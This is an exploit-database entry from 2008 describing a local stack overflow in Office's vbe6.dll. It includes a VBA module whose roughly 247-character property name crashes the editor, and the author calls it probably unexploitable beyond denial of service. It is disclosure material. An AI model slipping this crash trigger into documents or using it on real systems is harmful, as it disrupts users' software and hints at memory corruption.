Visual Basic (vbe6.dll) Local Stack Overflow PoC / DoS

2008-03-30T00:00:00
ID 1337DAY-ID-6524
Type zdt
Reporter Marsu
Modified 2008-03-30T00:00:00

Description

Exploit for unknown platform in category dos / poc

                                        
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Visual Basic (vbe6.dll) Local Stack Overflow PoC / DoS
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Stack overflow in vbe6.dll, (used by all versions of MS Office)
The overflow occurs in Visual Basic for Application. 
Creating a property with a long name ( about 247 chars) results in a stack overflow in vbe6.dll which overwrites with a null byte the first byte of the return address.

Probably impossible to exploit, but who knows? ^^ At least, there still exist stack overflows in Office apps :P

Marsu <[email protected]>

Module1.bas:

Attribute VB_Name = "Module1"

Public Property Get aaabcdefghissssssaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabdaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasssssssssssssssssssssssssssssssssssssssssssssssssssade() As Variant
  
End Property



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